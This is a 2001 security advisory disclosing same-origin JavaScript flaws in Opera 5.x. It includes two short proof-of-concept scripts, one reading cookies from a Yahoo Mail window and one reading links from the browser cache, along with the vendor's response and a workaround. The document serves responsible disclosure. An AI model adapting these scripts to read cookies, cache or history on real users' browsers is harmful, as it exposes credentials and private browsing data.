Georgi Guninski security advisory #51, 2001 Several javascript vulnerabilities in Opera Systems affected: Opera 5.12/Windows, Opera 5.0/Linux - probably other versions Risk: Medium Date: 15 November 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Anouncement: I am looking for contracts in the security area - check http://www.guninski.com Description: Opera is a multiplatform web browser. There are several javascript vulnerabilities in it, basically allowing script in a page to access a page and its properties in another domain - AFAIK Netscape call this "Same Origin Vulnerability". It is possible a script in web page to access at least cookies and links in arbitrary domains to which the user has access. It is also possible a script to read the the links in the user's cache and history which at least have privacy implications if not more. In some cases cookies and links in the cahe/history may containg sensitive information such as usernames/passwords etc. Details: Examine the following scripts: -1.---------------------------------- a=window.open("http://mail.yahoo.com"); function f() { xx=a.document.cookie; alert("hi"+xx); a.document.open(); a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</"+"script>"); a.document.close(); } setTimeout("f()",5000); ----------------------------------- -2.-------------------------------- a=window.open("about:cache"); function f() { xx=a.document.links[2]; alert("hi="+xx); } setTimeout("f()",5000); ----------------------------------- In addiotion the HotJava explot at http://www.guninski.com/hotjava1-desc.html works as Jayat_private pointed out. Workaround: Disable javascript (Opera suggest enabling "Use cookies to trace password protected documents") Vendor status: The vendor was notified on 5 November 2001 and was asked whether a fix shall be issued and when. The reply was: ------------------------------------ You should be able to resolve the cookie issue by enabling "Use cookies to trace password protected documents", which means that pages with password protection aren't cached, cookies aren't stored, the URL shouldn't be displayed in History, etc. This is a "paranoia" option, and makes a few pages unusable. As you are probably aware, many web technologies aren't very secure, but it is inconvenient for the user to block these. This is why the user should be given a choice to block privacy related information. ------------------------------------ Regards, Georgi Guninski http://www.guninski.com
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